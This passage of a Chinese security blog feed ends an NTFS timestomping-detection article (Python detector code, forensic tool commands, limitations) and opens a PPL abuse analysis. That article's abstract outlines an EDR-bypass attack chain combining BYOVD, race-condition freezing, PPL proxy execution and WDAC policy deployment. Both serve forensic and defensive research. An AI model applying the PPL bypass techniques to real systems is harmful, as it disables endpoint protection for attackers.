class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                usn_time</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token boolean\" style=\"color:#36acaa\">None</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> logfile_time</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token boolean\" style=\"color:#36acaa\">None</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">return</span><span class=\"token plain\"> alerts</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">def</span><span class=\"token plain\"> </span><span class=\"token function\" style=\"color:#d73a49\">_check_usn_mft_conflict</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">self</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> mft</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">-</span><span class=\"token operator\" style=\"color:#393A34\">&gt;</span><span class=\"token plain\"> List</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token plain\">TimestompingAlert</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        alerts </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">for</span><span class=\"token plain\"> usn </span><span class=\"token keyword\" style=\"color:#00009f\">in</span><span class=\"token plain\"> self</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">usn_records</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">get</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">mft</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">mft_entry</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">            </span><span class=\"token keyword\" style=\"color:#00009f\">if</span><span class=\"token plain\"> usn</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">reason_code </span><span class=\"token operator\" style=\"color:#393A34\">&amp;</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">0x00000100</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                </span><span class=\"token keyword\" style=\"color:#00009f\">if</span><span class=\"token plain\"> usn</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">timestamp </span><span class=\"token operator\" style=\"color:#393A34\">&gt;</span><span class=\"token plain\"> mft</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">si_created</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                    alerts</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">append</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">TimestompingAlert</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                        file_path</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">mft</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">full_path</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> severity</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token string\" style=\"color:#e3116c\">\"CRITICAL\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                        alert_type</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token string\" style=\"color:#e3116c\">\"USN_CREATE_AFTER_SI_CREATED\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                        evidence</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token string-interpolation string\" style=\"color:#e3116c\">f\"USN FILE_CREATE: </span><span class=\"token string-interpolation interpolation punctuation\" style=\"color:#393A34\">{</span><span class=\"token string-interpolation interpolation\">usn</span><span class=\"token string-interpolation interpolation punctuation\" style=\"color:#393A34\">.</span><span class=\"token string-interpolation interpolation\">timestamp</span><span class=\"token string-interpolation interpolation punctuation\" style=\"color:#393A34\">}</span><span class=\"token string-interpolation string\" style=\"color:#e3116c\">\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                                  </span><span class=\"token string-interpolation string\" style=\"color:#e3116c\">f\"$SI 创建时间: </span><span class=\"token string-interpolation interpolation punctuation\" style=\"color:#393A34\">{</span><span class=\"token string-interpolation interpolation\">mft</span><span class=\"token string-interpolation interpolation punctuation\" style=\"color:#393A34\">.</span><span class=\"token string-interpolation interpolation\">si_created</span><span class=\"token string-interpolation interpolation punctuation\" style=\"color:#393A34\">}</span><span class=\"token string-interpolation string\" style=\"color:#e3116c\">\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                                  </span><span class=\"token string\" style=\"color:#e3116c\">\"MFT 创建时间早于 USN 记录的实际创建时间\"</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                        si_time</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">mft</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">si_created</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> fn_time</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">mft</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">fn_created</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                        usn_time</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">usn</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">timestamp</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> logfile_time</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token boolean\" style=\"color:#36acaa\">None</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">            </span><span class=\"token keyword\" style=\"color:#00009f\">if</span><span class=\"token plain\"> usn</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">reason_code </span><span class=\"token operator\" style=\"color:#393A34\">&amp;</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">0x00008000</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                alerts</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">append</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">TimestompingAlert</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                    file_path</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">mft</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">full_path</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> severity</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token string\" style=\"color:#e3116c\">\"HIGH\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                    alert_type</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token string\" style=\"color:#e3116c\">\"BASIC_INFO_CHANGE_DETECTED\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                    evidence</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token string-interpolation string\" style=\"color:#e3116c\">f\"USN BASIC_INFO_CHANGE: </span><span class=\"token string-interpolation interpolation punctuation\" style=\"color:#393A34\">{</span><span class=\"token string-interpolation interpolation\">usn</span><span class=\"token string-interpolation interpolation punctuation\" style=\"color:#393A34\">.</span><span class=\"token string-interpolation interpolation\">timestamp</span><span class=\"token string-interpolation interpolation punctuation\" style=\"color:#393A34\">}</span><span class=\"token string-interpolation string\" style=\"color:#e3116c\">\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                              </span><span class=\"token string\" style=\"color:#e3116c\">\"直接对应 Timestomping 操作\"</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                    si_time</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token boolean\" style=\"color:#36acaa\">None</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> fn_time</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token boolean\" style=\"color:#36acaa\">None</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                    usn_time</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">usn</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">timestamp</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> logfile_time</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token boolean\" style=\"color:#36acaa\">None</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">return</span><span class=\"token plain\"> alerts</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token keyword\" style=\"color:#00009f\">if</span><span class=\"token plain\"> __name__ </span><span class=\"token operator\" style=\"color:#393A34\">==</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"__main__\"</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    detector </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> TimestompingDetector</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    detector</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">load_mft_csv</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">\"./forensic_output/MFT.csv\"</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    detector</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">load_usn_csv</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">\"./forensic_output/USNJrnl.csv\"</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    alerts </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> detector</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">detect_all</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">for</span><span class=\"token plain\"> alert </span><span class=\"token keyword\" style=\"color:#00009f\">in</span><span class=\"token plain\"> </span><span class=\"token builtin\">sorted</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">alerts</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> key</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token keyword\" style=\"color:#00009f\">lambda</span><span class=\"token plain\"> a</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">            </span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token string\" style=\"color:#e3116c\">\"CRITICAL\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token string\" style=\"color:#e3116c\">\"HIGH\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token string\" style=\"color:#e3116c\">\"MEDIUM\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token string\" style=\"color:#e3116c\">\"LOW\"</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">index</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">a</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">severity</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">print</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string-interpolation string\" style=\"color:#e3116c\">f\"[</span><span class=\"token string-interpolation interpolation punctuation\" style=\"color:#393A34\">{</span><span class=\"token string-interpolation interpolation\">alert</span><span class=\"token string-interpolation interpolation punctuation\" style=\"color:#393A34\">.</span><span class=\"token string-interpolation interpolation\">severity</span><span class=\"token string-interpolation interpolation punctuation\" style=\"color:#393A34\">}</span><span class=\"token string-interpolation string\" style=\"color:#e3116c\">] </span><span class=\"token string-interpolation interpolation punctuation\" style=\"color:#393A34\">{</span><span class=\"token string-interpolation interpolation\">alert</span><span class=\"token string-interpolation interpolation punctuation\" style=\"color:#393A34\">.</span><span class=\"token string-interpolation interpolation\">alert_type</span><span class=\"token string-interpolation interpolation punctuation\" style=\"color:#393A34\">}</span><span class=\"token string-interpolation string\" style=\"color:#e3116c\">\"</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">print</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string-interpolation string\" style=\"color:#e3116c\">f\"    文件: </span><span class=\"token string-interpolation interpolation punctuation\" style=\"color:#393A34\">{</span><span class=\"token string-interpolation interpolation\">alert</span><span class=\"token string-interpolation interpolation punctuation\" style=\"color:#393A34\">.</span><span class=\"token string-interpolation interpolation\">file_path</span><span class=\"token string-interpolation interpolation punctuation\" style=\"color:#393A34\">}</span><span class=\"token string-interpolation string\" style=\"color:#e3116c\">\"</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">for</span><span class=\"token plain\"> ev </span><span class=\"token keyword\" style=\"color:#00009f\">in</span><span class=\"token plain\"> alert</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">evidence</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">            </span><span class=\"token keyword\" style=\"color:#00009f\">print</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string-interpolation string\" style=\"color:#e3116c\">f\"    - </span><span class=\"token string-interpolation interpolation punctuation\" style=\"color:#393A34\">{</span><span class=\"token string-interpolation interpolation\">ev</span><span class=\"token string-interpolation interpolation punctuation\" style=\"color:#393A34\">}</span><span class=\"token string-interpolation string\" style=\"color:#e3116c\">\"</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><br></span></code></pre><div class=\"buttonGroup__atx\"><button type=\"button\" aria-label=\"复制代码到剪贴板\" title=\"复制\" class=\"clean-btn\"><span class=\"copyButtonIcons_eSgA\" aria-hidden=\"true\"><svg viewBox=\"0 0 24 24\" class=\"copyButtonIcon_y97N\"><path fill=\"currentColor\" d=\"M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z\"></path></svg><svg viewBox=\"0 0 24 24\" class=\"copyButtonSuccessIcon_LjdS\"><path fill=\"currentColor\" d=\"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z\"></path></svg></span></button></div></div></div>\n<p>该引擎实现三条核心规则：$SI/$FN 创建时间差异超过 1 秒触发 <code>SI_FN_CREATION_MISMATCH</code>（HIGH）；$SI 纳秒全零触发 <code>NANOSECOND_ZERO</code>（MEDIUM）；USN Journal 的 <code>FILE_CREATE</code> 时间晚于 $SI 创建时间触发 <code>USN_CREATE_AFTER_SI_CREATED</code>（CRITICAL），<code>BASIC_INFO_CHANGE</code> 记录直接触发 <code>BASIC_INFO_CHANGE_DETECTED</code>（HIGH）。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"54-实战工具链\">5.4 实战工具链<a class=\"hash-link\" aria-label=\"5.4 实战工具链的直接链接\" title=\"5.4 实战工具链的直接链接\" href=\"https://www.ce.ac.cn/blog/ntfs-timestamp-forensic-analysis/#54-%E5%AE%9E%E6%88%98%E5%B7%A5%E5%85%B7%E9%93%BE\">​</a></h3>\n<p>推荐工具链整合如下：</p>\n<ul>\n<li><strong>MFTECmd</strong>（Eric Zimmerman）：批量解析 <code>$MFT</code> 与 <code>$J</code> 文件。使用方法：<code>MFTECmd.exe -f \"\\$J\" -m \"\\$MFT\" --csv \"C:\\Output\"</code></li>\n<li><strong>exhume_ntfs</strong>（forensicxlab）：Rust 语言开源 NTFS 取证解析库，提供完整的 MFT、USN Journal 和 $LogFile 解析功能，支持 MFT 条目复用检测</li>\n<li><strong>NTFS Log Tracker</strong>：解析 <code>$LogFile</code> 事务日志，搜索与特定 MFT 记录关联的 <code>SetBasicInfo</code> 操作</li>\n</ul>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"6-取证局限性\">6. 取证局限性<a class=\"hash-link\" aria-label=\"6. 取证局限性的直接链接\" title=\"6. 取证局限性的直接链接\" href=\"https://www.ce.ac.cn/blog/ntfs-timestamp-forensic-analysis/#6-%E5%8F%96%E8%AF%81%E5%B1%80%E9%99%90%E6%80%A7\">​</a></h2>\n<p>四源交叉验证虽提供了时间戳篡改检测的体系化方法，但仍存在以下局限：</p>\n<ul>\n<li><strong>$LogFile 高周转率</strong>：$LogFile 通常限制为 64MB，在繁忙服务器上旧记录可能在数分钟内被覆盖。</li>\n<li><strong>USN Journal 大小限制</strong>：<code>$UsnJrnl:\\$J</code> 通常为 32MB–128MB，在繁忙系统上仅保留数小时至数天的历史。</li>\n<li><strong>MFT 条目复用</strong>：文件删除后 MFT 条目可能被新文件复用，<code>sequence_number</code> 不匹配时 USN 记录可能指向错误文件。<code>exhume_ntfs</code> 等工具通过追踪复用事件来缓解此问题。</li>\n<li><strong>CVE-2025-49689 的挑战</strong>：攻击者可利用 $LogFile 漏洞向文件系统注入虚假记录或擦除真实记录，破坏 $LogFile 作为可信证据源的前提。</li>\n</ul>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"结论\">结论<a class=\"hash-link\" aria-label=\"结论的直接链接\" title=\"结论的直接链接\" href=\"https://www.ce.ac.cn/blog/ntfs-timestamp-forensic-analysis/#%E7%BB%93%E8%AE%BA\">​</a></h2>\n<p>NTFS 的四套时间戳记录机制构成了天然的时间线交叉验证体系。$SI 与 $FN 的双轨存储使简单的时间戳篡改留下可检测的差异；USN Journal 以不可追溯性修改的方式记录每一次属性变更与数据写入操作；$LogFile 以事务日志形式保存元数据操作的底层序列。三者结合的交叉验证框架能够有效检测从 PowerShell 脚本到内核级工具的不同层次 Timestomping 行为。CVE-2025-49689 的发现提醒取证分析人员，$LogFile 本身也是攻击面的一部分，需要纳入可信度评估范围。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"参考文献\">参考文献<a class=\"hash-link\" aria-label=\"参考文献的直接链接\" title=\"参考文献的直接链接\" href=\"https://www.ce.ac.cn/blog/ntfs-timestamp-forensic-analysis/#%E5%8F%82%E8%80%83%E6%96%87%E7%8C%AE\">​</a></h2>\n<p>[1] Eric Zimmerman. \"MFTECmd: MFT and USN Journal Parser.\" <a href=\"https://github.com/EricZimmerman/MFTECmd\" target=\"_blank\" rel=\"noopener noreferrer\">https://github.com/EricZimmerman/MFTECmd</a></p>\n<p>[2] forensicxlab. \"exhume_ntfs: NTFS Forensic Parsing Library.\" Rust implementation.</p>\n<p>[3] Sergey Tarasov. \"CVE-2025-49689: NTFS $LogFile Replay Privilege Escalation.\"</p>\n<p>[4] Microsoft. \"NTFS Technical Reference.\" MSDN Documentation.</p>\n<p>[5] Harlan Carvey. \"Windows Forensic Analysis Toolkit.\" 4th Edition.</p>",
            "url": "https://www.ce.ac.cn/blog/ntfs-timestamp-forensic-analysis/",
            "title": "NTFS 文件系统时间戳取证分析：Timestomping 检测与四源交叉验证框架",
            "summary": "针对 NTFS 文件系统四套独立时间戳记录机制的取证分析，涵盖 MFT $SI/$FN 双轨架构、USN Journal 三版本演进及 $LogFile 事务日志，提出 Timestomping 自动化检测框架。",
            "date_modified": "2026-05-25T00:00:00.000Z",
            "author": {
                "name": "ICE Lab"
            },
            "tags": [
                "Research",
                "Vulnerability"
            ]
        },
        {
            "id": "https://www.ce.ac.cn/blog/ppl-abuse-technical-analysis/",
            "content_html": "<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"摘要\">摘要<a class=\"hash-link\" aria-label=\"摘要的直接链接\" title=\"摘要的直接链接\" href=\"https://www.ce.ac.cn/blog/ppl-abuse-technical-analysis/#%E6%91%98%E8%A6%81\">​</a></h2>\n<p>Windows 受保护进程轻量级（PPL）是微软自 Windows 8.1 起构建的核心安全边界，通过基于数字签名的层级信任模型防止恶意代码篡改反恶意软件与端点安全产品。然而，PPL 的设计将密码学签名验证等同于运行时行为可信，形成结构性信任锚点缺陷。本文以三类独立 PPL 滥用技术——WerFaultSecure 竞态条件、ClipUp 二进制代理执行及 WaaSRemediation COM 对象操控——为分析对象，拆解其技术原理，构建集 BYOVD、竞态冻结、PPL 代理与 WDAC 策略部署于一体的四阶段融合攻击链，并讨论当前防御体系中的检测盲区与结构性修复瓶颈。</p>\n<p><strong>关键词</strong>：Windows PPL；受保护进程；EDR 绕过；信任模型；BVOVD</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"1-引言\">1. 引言<a class=\"hash-link\" aria-label=\"1. 引言的直接链接\" title=\"1. 引言的直接链接\" href=\"https://www.ce.ac.cn/blog/ppl-abuse-technical-analysis/#1-%E5%BC%95%E8%A8%80\">​</a></h2>\n<p>Windows Vista 首次引入受保护进程（PP）模型，进程状态被二分为受保护与不受保护两类。该过于简化的设计无法适应实际安全需求。Windows 8.1 起引入的 PPL 扩展了该概念，通过签名者类型（Signer Type）建立多级信任层级，使不同受保护进程之间具备差异化的访问权限。</p>\n<p>设计之初，PPL 被赋予了超出其实际实现能力的安全期望。数字签名的密码学意义在于验证二进制文件的来源与完整性，它回答的是\"该文件确实由声称的发行者发布且未被篡改\"。然而，Windows 内核加载机制将这一密码学保证直接等同于\"该进程可在受保护上下文中执行\"，在信任传递过程中制造了语义鸿沟。当攻击者寻找到签名为 WinTcb 层级的合法二进制并将其武器化，整个信任层级便从内部崩塌。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"2-ppl-信任层级架构\">2. PPL 信任层级架构<a class=\"hash-link\" aria-label=\"2. PPL 信任层级架构的直接链接\" title=\"2. PPL 信任层级架构的直接链接\" href=\"https://www.ce.ac.cn/blog/ppl-abuse-technical-analysis/#2-ppl-%E4%BF%A1%E4%BB%BB%E5%B1%82%E7%BA%A7%E6%9E%B6%E6%9E%84\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"21-保护级别与签名者类型\">2.1 保护级别与签名者类型<a class=\"hash-link\" aria-label=\"2.1 保护级别与签名者类型的直接链接\" title=\"2.1 保护级别与签名者类型的直接链接\" href=\"https://www.ce.ac.cn/blog/ppl-abuse-technical-analysis/#21-%E4%BF%9D%E6%8A%A4%E7%BA%A7%E5%88%AB%E4%B8%8E%E7%AD%BE%E5%90%8D%E8%80%85%E7%B1%BB%E5%9E%8B\">​</a></h3>\n<p>PP/PPL 进程可请求的访问权限取决于自身的保护级别，该级别部分由文件数字证书中的增强密钥使用（EKU）字段决定。进程创建时，保护信息存入 EPROCESS 内核结构，存储内容包含保护类型（PP 或 PPL）及签名者类型。</p>\n<p>签名者类型在 PP/PPL 之间构建了严格层级：</p>\n<ul>\n<li>若 PP 的签名者类型高于或等于目标 PP/PPL，则可完整访问目标进程</li>\n<li>若 PPL 的签名者类型高于或等于目标 PPL，则可完整访问目标进程</li>\n<li>PPL 无法以完整访问权限打开 PP，无论前者使用何种签名者类型</li>\n</ul>\n<p>PPL 的签名者类型构成四条明确的信任等级：</p>\n<table><thead><tr><th>保护层级</th><th>签名者类型</th><th>典型进程</th><th>关键特权</th><th>可访问对象</th></tr></thead><tbody><tr><td>WinTcb-Light</td><td>WinTcb (4)</td><td>smss.exe, csrss.exe, WerFaultSecure.exe</td><td>最高 PPL 权限</td><td>所有 PP/PPL</td></tr><tr><td>Antimalware-Light</td><td>Antimalware (3)</td><td>MsMpEng.exe, Windefend</td><td>可终止大多数安全进程</td><td>WinTcb 以下</td></tr><tr><td>Lsa-Light</td><td>Lsa (2)</td><td>lsass.exe</td><td>可访问 Lsa 及以下</td><td>Lsa-Light 及以下</td></tr><tr><td>Windows-Light</td><td>Windows (1)</td><td>winlogon.exe, svchost.exe</td><td>基础 PPL 保护</td><td>仅自身等级</td></tr></tbody></table>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"22-保护级别查询\">2.2 保护级别查询<a class=\"hash-link\" aria-label=\"2.2 保护级别查询的直接链接\" title=\"2.2 保护级别查询的直接链接\" href=\"https://www.ce.ac.cn/blog/ppl-abuse-technical-analysis/#22-%E4%BF%9D%E6%8A%A4%E7%BA%A7%E5%88%AB%E6%9F%A5%E8%AF%A2\">​</a></h3>\n<p>以下代码通过未公开的 <code>ProcessProtectionLevelInfo</code> 枚举值（0x3F）查询进程的 PPL 保护级别：</p>\n<div class=\"language-c codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_biex\"><pre tabindex=\"0\" class=\"prism-code language-c codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><span 